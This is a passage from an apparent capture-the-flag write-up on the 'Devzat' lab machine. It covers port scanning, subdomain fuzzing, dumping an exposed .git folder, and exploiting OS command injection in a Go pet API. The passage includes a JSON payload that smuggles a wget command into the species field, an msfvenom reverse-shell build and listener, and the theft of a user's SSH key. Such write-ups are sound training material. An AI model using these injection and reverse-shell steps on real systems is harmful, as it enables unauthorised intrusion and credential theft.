</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.16s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">997</span> closed tcp ports <span style="color:#f92672">(</span>conn-refused<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey: 
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">3072</span> c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">256</span> 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>80/tcp   open  http    Apache httpd 2.4.41
</span></span><span style="display:flex;"><span>|_http-title: devzat - where the devs at
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.41 <span style="color:#f92672">(</span>Ubuntu<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>8000/tcp open  ssh     <span style="color:#f92672">(</span>protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| fingerprint-strings: 
</span></span><span style="display:flex;"><span>|   NULL: 
</span></span><span style="display:flex;"><span>|_    SSH-2.0-Go
</span></span><span style="display:flex;"><span>| ssh-hostkey: 
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">3072</span> 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
</span></span><span style="display:flex;"><span>SF-Port8000-TCP:V<span style="color:#f92672">=</span>7.92%I<span style="color:#f92672">=</span>7%D<span style="color:#f92672">=</span>2/27%Time<span style="color:#f92672">=</span>621B35FB%P<span style="color:#f92672">=</span>x86_64-pc-linux-gnu%r<span style="color:#f92672">(</span>NU
</span></span><span style="display:flex;"><span>SF:LL,C,<span style="color:#e6db74">&#34;SSH-2\.0-Go\r\n&#34;</span><span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nmap done at Sun Feb 27 03:28:14 2022 -- 1 IP address (1 host up) scanned in 66.71 seconds</span>
</span></span></code></pre></div><p>Reload the web page, here&rsquo;s what was shown.</p>
<p>
  <figure>
    <img src="/img/devzat/recon/landing-page.png#center" alt="">
    <figcaption>First landing page with Bootstrap design</figcaption>
  </figure>

</p>
<p>You can see <a href="/img/devzat/recon/full-landing-page.png">the full landing page here</a>, but to come to the point here&rsquo;s what it told us to do:</p>
<p>
  <figure>
    <img src="/img/devzat/recon/service.png#center" alt="">
    <figcaption>Instructions for connecting to port 8000</figcaption>
  </figure>

</p>
<p>At this point I got curious about what <em><strong><code>Devzat</code></strong></em> is, so I searched it up:</p>
<div style="text-align: center"><div class="github-card" data-github="quackduck/devzat" data-width="400" data-height="" data-theme="default"></div></div>
<script src="//cdn.jsdelivr.net/github-cards/latest/widget.js"></script>
<p>It turned out to be an <em>open-source</em> chat service, run over <em><strong>SSH</strong></em> and created in <em><strong>Golang</strong></em>. They even have a public server at <a href="#ZgotmplZ">devzat.hackclub.com</a>!</p>
<h3 id="2-play-with-chat-service">2. Play with chat service</h3>
<p>Upon connecting to port 80 for the first time, the server slapped an error in my face:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ssh -l aki devzat.htb -p <span style="color:#ae81ff">8000</span> 
</span></span><span style="display:flex;"><span>Unable to negotiate with 10.10.11.118 port 8000: no matching host key type found. Their offer: ssh-rsa
</span></span></code></pre></div><p>If you wonder what was the problem&rsquo;s root, please refer to <a href="https://askubuntu.com/questions/836048/ssh-returns-no-matching-host-key-type-found-their-offer-ssh-dss">this AskUbuntu question</a>. Briefly, we need to modify the given command a bit:</p>
<p>
  <img src="/img/devzat/recon/join-chat.png#center" alt="">

</p>
<p>I quickly picked up the chat functions, mainly because it&rsquo;s quite like <a href="https://discord.com/"><span style="color: #5865F2;">Discord</span></a>. Take a look at the service in action:</p>
<script id="asciicast-jtEjOW1xQNgbSIaFmKFeDamfx" src="https://asciinema.org/a/jtEjOW1xQNgbSIaFmKFeDamfx.js" async></script>
<p>However, no where in this service looked vulnerable, not even in Github <code>changelogs</code>, any public exploit nor customization. But keep this service in mind as it will prove to be useful in privilege escalating section.</p>
<h2 id="ii-user-flag">II. User flag</h2>
<h3 id="1-subdomain-exploration">1. Subdomain exploration</h3>
<p><span style="color: #696969;">tl;dr: Brute force and discover a subdomain with <em><strong>wfuzz</strong></em></span>
<br/>
Come to think of it, a web service calling for amendment in <code>/etc/hosts</code> must hide something in its subdomains. Therefore, I hammered it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>wfuzz --oF wfuzz -c -f wfuzz.txt -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u <span style="color:#e6db74">&#34;http://devzat.htb&#34;</span> -H <span style="color:#e6db74">&#34;Host: FUZZ.devzat.htb&#34;</span> --hc 301,302
</span></span></code></pre></div><p>After a few minutes, something novel was returned:

  <img src="/img/devzat/recon/wfuzz.png#center" alt="">

</p>
<p>Let&rsquo;s also add that to <code>/etc/hosts</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>10.10.11.118    pets.devzat.htb
</span></span></code></pre></div><p>Navigate there in a browser, and here&rsquo;s the outcome:

  <figure>
    <img src="/img/devzat/recon/pets-inventory.png#center" alt="">
    <figcaption>Nothing in this image was interactive</figcaption>
  </figure>

</p>
<p>At the bottom of that page, there was a pet adding function:</p>
<p>
  <figure>
    <img src="/img/devzat/recon/add-a-pet.png#center" alt="">
    <figcaption>A function that looks vulnerable</figcaption>
  </figure>

</p>
<p>Without much notion about what to do, I tried to insert a wildcard there, thinking it would cause a <a href="https://nilminus.wordpress.com/web-application-penetration-testing/denial-of-service-attacks/sql-wildcard-attacks/">SQL wildcard attack</a>.</p>
<p>
  <figure>
    <img src="/img/devzat/recon/wildcard-try-web.png#center" alt="">
    <figcaption>Surprisingly, the asterisk wildcard worked</figcaption>
  </figure>

</p>
<p>Looking into <em><strong>Burp Suite</strong></em>, the request looks somewhat like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#a6e22e">POST</span> /api/pet <span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span>Host<span style="color:#f92672">:</span> <span style="color:#ae81ff">pets.devzat.htb</span>
</span></span><span style="display:flex;"><span>Content-Length<span style="color:#f92672">:</span> <span style="color:#ae81ff">37</span>
</span></span><span style="display:flex;"><span>User-Agent<span style="color:#f92672">:</span> <span style="color:#ae81ff">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">text/plain;charset=UTF-8</span>
</span></span><span style="display:flex;"><span>Accept<span style="color:#f92672">:</span> <span style="color:#ae81ff">*/*</span>
</span></span><span style="display:flex;"><span>Origin<span style="color:#f92672">:</span> <span style="color:#ae81ff">http://pets.devzat.htb</span>
</span></span><span style="display:flex;"><span>Referer<span style="color:#f92672">:</span> <span style="color:#ae81ff">http://pets.devzat.htb/</span>
</span></span><span style="display:flex;"><span>Accept-Encoding<span style="color:#f92672">:</span> <span style="color:#ae81ff">gzip, deflate</span>
</span></span><span style="display:flex;"><span>Accept-Language<span style="color:#f92672">:</span> <span style="color:#ae81ff">en-US,en;q=0.9</span>
</span></span><span style="display:flex;"><span>Connection<span style="color:#f92672">:</span> <span style="color:#ae81ff">close</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">&#34;name&#34;:&#34;*&#34;,</span>
</span></span><span style="display:flex;"><span>    <span style="color:#960050;background-color:#1e0010">&#34;species&#34;:&#34;*&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">}</span>
</span></span></code></pre></div><p>Inspite of that, other forms of <a href="https://owasp.org/www-community/attacks/SQL_Injection">SQL injection</a> didn&rsquo;t work. Consequently, I gave up the SQL injection path and look for other attack vectors.</p>
<h3 id="2-git-repository-reconstruction">2. Git repository reconstruction</h3>
<span style="color: #696969;">tl;dr: Discover a Git repository and see to its source code</span>
<br/>
<p>Following my nose, I started a brute force scan with <em><strong>Gobuster</strong></em>.</p>
<p>
  <img src="/img/devzat/recon/gobuster-on-pets.png#center" alt="">

</p>
<p>See that error at the end? It meant the server was tricking us by returning HTTP status <code>200</code> for every requests. For that reason, let&rsquo;s exlude all those fake responses and run the scan once again.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>gobuster dir -u http://pets.devzat.htb/ -t <span style="color:#ae81ff">20</span> -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt --exclude-length <span style="color:#ae81ff">510</span>
</span></span></code></pre></div><p>
  <img src="/img/devzat/recon/gobuster-on-pets-with-limit.png#center" alt="">

</p>
<p>Nice. We&rsquo;re forbidden to access the <code>/server-status</code> endpoint, but look at that <code>.git</code>! That&rsquo;s a whole gold mine waiting to be explored!</p>
<p>You can see for yourself the <a href="https://pentester.land/tutorials/2018/10/25/source-code-disclosure-via-exposed-git-folder.html">exposed <code>.git</code> folder pentesting method on Pentest Monkey blog</a>. For now, just bear in mind that you can reconstruct a whole Git repository from only <code>.git</code> folder. Here is an instruction:</p>
<ul>
<li><em><strong>Step 1</strong></em>. Download the needed script: <code>wget https://raw.githubusercontent.com/internetwache/GitTools/master/Dumper/gitdumper.sh</code></li>
<li><em><strong>Step 2</strong></em>. Run the script: <code>bash gitdumper.sh http://pets.devzat.htb/.git/ ./pets</code>

  <img src="/img/devzat/recon/gitdumper.png#center" alt="">

</li>
<li><em><strong>Step 3</strong></em>. Run <code>git checkout -- .</code> to recover the Git repository.</li>
<li><em><strong>Step 4</strong></em>. Profit.

  <img src="/img/devzat/recon/files-and-git-log.png#center" alt="">

</li>
</ul>
<p>Simple and easy, right?</p>
<p>A minor notice - up to this point I had had no prior experience with <a href="https://go.dev/"><em><strong>Golang</strong></em></a> whatsoever. But somehow the <em><strong>Go</strong></em> syntax still made sense to me, and this function specifically caught my attention:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">loadCharacter</span>(<span style="color:#a6e22e">species</span> <span style="color:#66d9ef">string</span>) <span style="color:#66d9ef">string</span> {                                     
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">cmd</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">exec</span>.<span style="color:#a6e22e">Command</span>(<span style="color:#e6db74">&#34;sh&#34;</span>, <span style="color:#e6db74">&#34;-c&#34;</span>, <span style="color:#e6db74">&#34;cat characteristics/&#34;</span><span style="color:#f92672">+</span><span style="color:#a6e22e">species</span>)                
</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">stdoutStderr</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cmd</span>.<span style="color:#a6e22e">CombinedOutput</span>()                                      
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {                                                                
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Error</span>()                                                      
</span></span><span style="display:flex;"><span> }                                                                              
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> string(<span style="color:#a6e22e">stdoutStderr</span>)                                                    
</span></span><span style="display:flex;"><span>}  
</span></span></code></pre></div><p>Looking at that <code>exec.Command</code>, one cannot help but to think of a <a href="https://portswigger.net/web-security/os-command-injection">OS command injection</a>!</p>
<p>
  <figure>
    <img src="/img/devzat/recon/poc-id.png#center" alt="">
    <figcaption>Tried inserting <code>;id</code> on the <em>pets</em> site</figcaption>
  </figure>

</p>
<p>It worked! And what&rsquo;s more - the user running this web app was not <code>www-data</code>! That saved us a phase of privilege escalation.</p>
<h3 id="3-acquiring-foothold">3. Acquiring foothold</h3>
<p><span style="color: #696969;">tl;dr: Leverage limited <strong>RCE</strong> to <strong>reverse shell</strong> using <em><strong>msfvenom</strong></em></span>
<br/>
With a somewhat limited <a href="https://www.bugcrowd.com/glossary/remote-code-execution-rce/">RCE</a> in our hand right now, it should be a piece of cake getting a reverse shell and retrieving our user flag!</p>
<p>If only life was that easy.</p>
<p>For some mysterious reasons, all reverse shell commands quickly died right at the moment it managed to call back - no matter it&rsquo;s bash, python or go, no matter it&rsquo;s running as a foreground or background process, it just - die. As the last resort, I had to rely on <em><strong>msfvenom</strong></em>, like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>msfvenom -p linux/x64/shell_reverse_tcp LHOST<span style="color:#f92672">=</span>&lt;YOUR_IP&gt; LPORT<span style="color:#f92672">=</span><span style="color:#ae81ff">9999</span> -f elf -o reverse.elf
</span></span></code></pre></div><p>Then load it to the server using:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>curl -X POST -d <span style="color:#e6db74">&#39;{&#34;name&#34;:&#34;*&#34;, &#34;species&#34;:&#34;; wget http://&lt;YOUR_IP&gt;/reverse.elf&#34;}&#39;</span> http://pets.devzat.htb/api/pet
</span></span></code></pre></div><p>Don&rsquo;t forget to open a HTTP server first:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>python3 -m http.server <span style="color:#ae81ff">80</span>
</span></span></code></pre></div><p>You can see a shell call back in an instant!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ nc -lvnp <span style="color:#ae81ff">9999</span>                                  
</span></span><span style="display:flex;"><span>listening on <span style="color:#f92672">[</span>any<span style="color:#f92672">]</span> 9999...
</span></span><span style="display:flex;"><span>connect to <span style="color:#f92672">[</span>&lt;YOUR_IP&gt;<span style="color:#f92672">]</span> from <span style="color:#f92672">(</span>UNKNOWN<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>10.10.11.118<span style="color:#f92672">]</span> <span style="color:#ae81ff">47172</span>
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>uid<span style="color:#f92672">=</span>1000<span style="color:#f92672">(</span>patrick<span style="color:#f92672">)</span> gid<span style="color:#f92672">=</span>1000<span style="color:#f92672">(</span>patrick<span style="color:#f92672">)</span> groups<span style="color:#f92672">=</span>1000<span style="color:#f92672">(</span>patrick<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Looking into <code>patrick</code>&rsquo;s <code>~/.ssh</code> directory, I found his <code>id_rsa</code> key. Without further ado, I downloaded it, and SSH in (personally I sent it to that previous <code>.git</code> folder then <code>wget</code> it there, but how to do this part depends on your creativity).</p>
<p>
  <figure>
    <img src="/img/devzat/recon/ssh-patrick.png#center" alt="">
    <figcaption>The end result of this section</figcaption>
  </figure>

</p>
<h3 id="4-horizontal-privilege-escalation">4. Horizontal privilege escalation</h3>
<p><span style="color: #696969;">tl;dr: Discover and attack Influx Database to get other users&rsquo; credentials</span>
<br/>
Unfortunately, after all those hassles, the <code>user.txt</code> flag was still out of our reach - it turned out to be in some other user&rsquo;s home directory whose username was <code>catherine</code>.</p>
<p>To give you an overview about our targets, here&rsquo;s their <code>/etc/passwd</code> file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>root:x:<span style="color:#ae81ff">0</span>:<span style="color:#ae81ff">0</span>:root:<span style="color:#f92672">/</span>root:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span>bash
</span></span><span style="display:flex;"><span>daemon:x:<span style="color:#ae81ff">1</span>:<span style="color:#ae81ff">1</span>:daemon:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>bin:x:<span style="color:#ae81ff">2</span>:<span style="color:#ae81ff">2</span>:bin:<span style="color:#f92672">/</span>bin:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>sys:x:<span style="color:#ae81ff">3</span>:<span style="color:#ae81ff">3</span>:sys:<span style="color:#f92672">/</span>dev:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>sync:x:<span style="color:#ae81ff">4</span>:<span style="color:#ae81ff">65534</span>:sync:<span style="color:#f92672">/</span>bin:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span>sync
</span></span><span style="display:flex;"><span>games:x:<span style="color:#ae81ff">5</span>:<span style="color:#ae81ff">60</span>:games:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>games:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>man:x:<span style="color:#ae81ff">6</span>:<span style="color:#ae81ff">12</span>:man:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>cache<span style="color:#f92672">/</span>man:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>lp:x:<span style="color:#ae81ff">7</span>:<span style="color:#ae81ff">7</span>:lp:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>spool<span style="color:#f92672">/</span>lpd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>mail:x:<span style="color:#ae81ff">8</span>:<span style="color:#ae81ff">8</span>:mail:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>mail:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>news:x:<span style="color:#ae81ff">9</span>:<span style="color:#ae81ff">9</span>:news:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>spool<span style="color:#f92672">/</span>news:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>uucp:x:<span style="color:#ae81ff">10</span>:<span style="color:#ae81ff">10</span>:uucp:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>spool<span style="color:#f92672">/</span>uucp:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>proxy:x:<span style="color:#ae81ff">13</span>:<span style="color:#ae81ff">13</span>:proxy:<span style="color:#f92672">/</span>bin:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>www<span style="color:#f92672">-</span>data:x:<span style="color:#ae81ff">33</span>:<span style="color:#ae81ff">33</span>:www<span style="color:#f92672">-</span>data:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>www:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>backup:x:<span style="color:#ae81ff">34</span>:<span style="color:#ae81ff">34</span>:backup:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>backups:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>list:x:<span style="color:#ae81ff">38</span>:<span style="color:#ae81ff">38</span>:Mailing List Manager:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>list:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>irc:x:<span style="color:#ae81ff">39</span>:<span style="color:#ae81ff">39</span>:ircd:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>ircd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>gnats:x:<span style="color:#ae81ff">41</span>:<span style="color:#ae81ff">41</span>:Gnats Bug<span style="color:#f92672">-</span>Reporting System (admin):<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>lib<span style="color:#f92672">/</span>gnats:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>nobody:x:<span style="color:#ae81ff">65534</span>:<span style="color:#ae81ff">65534</span>:nobody:<span style="color:#f92672">/</span>nonexistent:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>systemd<span style="color:#f92672">-</span>network:x:<span style="color:#ae81ff">100</span>:<span style="color:#ae81ff">102</span>:systemd Network Management,,,:<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>systemd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>systemd<span style="color:#f92672">-</span>resolve:x:<span style="color:#ae81ff">101</span>:<span style="color:#ae81ff">103</span>:systemd Resolver,,,:<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>systemd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>systemd<span style="color:#f92672">-</span>timesync:x:<span style="color:#ae81ff">102</span>:<span style="color:#ae81ff">104</span>:systemd Time Synchronization,,,:<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>systemd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>messagebus:x:<span style="color:#ae81ff">103</span>:<span style="color:#ae81ff">106</span>::<span style="color:#f92672">/</span>nonexistent:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>syslog:x:<span style="color:#ae81ff">104</span>:<span style="color:#ae81ff">110</span>::<span style="color:#f92672">/</span>home<span style="color:#f92672">/</span>syslog:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>_apt:x:<span style="color:#ae81ff">105</span>:<span style="color:#ae81ff">65534</span>::<span style="color:#f92672">/</span>nonexistent:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>tss:x:<span style="color:#ae81ff">106</span>:<span style="color:#ae81ff">111</span>:TPM software stack,,,:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>lib<span style="color:#f92672">/</span>tpm:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span>false
</span></span><span style="display:flex;"><span>uuidd:x:<span style="color:#ae81ff">107</span>:<span style="color:#ae81ff">112</span>::<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>uuidd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>tcpdump:x:<span style="color:#ae81ff">108</span>:<span style="color:#ae81ff">113</span>::<span style="color:#f92672">/</span>nonexistent:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>landscape:x:<span style="color:#ae81ff">109</span>:<span style="color:#ae81ff">115</span>::<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>lib<span style="color:#f92672">/</span>landscape:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>pollinate:x:<span style="color:#ae81ff">110</span>:<span style="color:#ae81ff">1</span>::<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>cache<span style="color:#f92672">/</span>pollinate:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span>false
</span></span><span style="display:flex;"><span>sshd:x:<span style="color:#ae81ff">111</span>:<span style="color:#ae81ff">65534</span>::<span style="color:#f92672">/</span>run<span style="color:#f92672">/</span>sshd:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>systemd<span style="color:#f92672">-</span>coredump:x:<span style="color:#ae81ff">999</span>:<span style="color:#ae81ff">999</span>:systemd Core Dumper:<span style="color:#f92672">/</span>:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span><span style="display:flex;"><span>patrick:x:<span style="color:#ae81ff">1000</span>:<span style="color:#ae81ff">1000</span>:patrick:<span style="color:#f92672">/</span>home<span style="color:#f92672">/</span>patrick:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span>bash
</span></span><span style="display:flex;"><span>catherine:x:<span style="color:#ae81ff">1001</span>:<span style="color:#ae81ff">1001</span>:catherine,,,:<span style="color:#f92672">/</span>home<span style="color:#f92672">/</span>catherine:<span style="color:#f92672">/</span>bin<span style="color:#f92672">/</span>bash
</span></span><span style="display:flex;"><span>usbmux:x:<span style="color:#ae81ff">112</span>:<span style="color:#ae81ff">46</span>:usbmux daemon,,,:<span style="color:#f92672">/</span>var<span style="color:#f92672">/</span>lib<span style="color:#f92672">/</span>usbmux:<span style="color:#f92672">/</span>usr<span style="color:#f92672">/</span>sbin<span style="color:#f92672">/</span>nologin
</span></span></code></pre></div><p>And here are the opening ports.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>patrick<span style="color:#a6e22e">@devzat</span>:<span style="color:#f92672">~</span><span style="color:#960050;background-color:#1e0010">$</span> ss <span style="color:#f92672">-</span>lntup
</span></span><span style="display:flex;"><span>Netid   State    Recv<span style="color:#f92672">-</span>Q   Send<span style="color:#f92672">-</span>Q     Local Address:Port     Peer Address:Port   Process
</span></span><span style="display:flex;"><span>udp     UNCONN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">0</span>          <span style="color:#ae81ff">127.0.0.53</span><span style="color:#f92672">%</span>lo:<span style="color:#ae81ff">53</span>            <span style="color:#ae81ff">0.0.0.0</span>:<span style="color:#f92672">*</span>
</span></span><span style="display:flex;"><span>tcp     LISTEN   <span style="color:#ae81ff">0</span>        <span style="color:#ae81ff">4096</span>       <span style="color:#ae81ff">127.0.0.53</span><span style="color:#f92672">%</span>lo:<span style="color:#ae81ff">53</span>            <span style="color:#ae81ff">0.0.0.0</span>:<span style="color:#f92672">*</span>
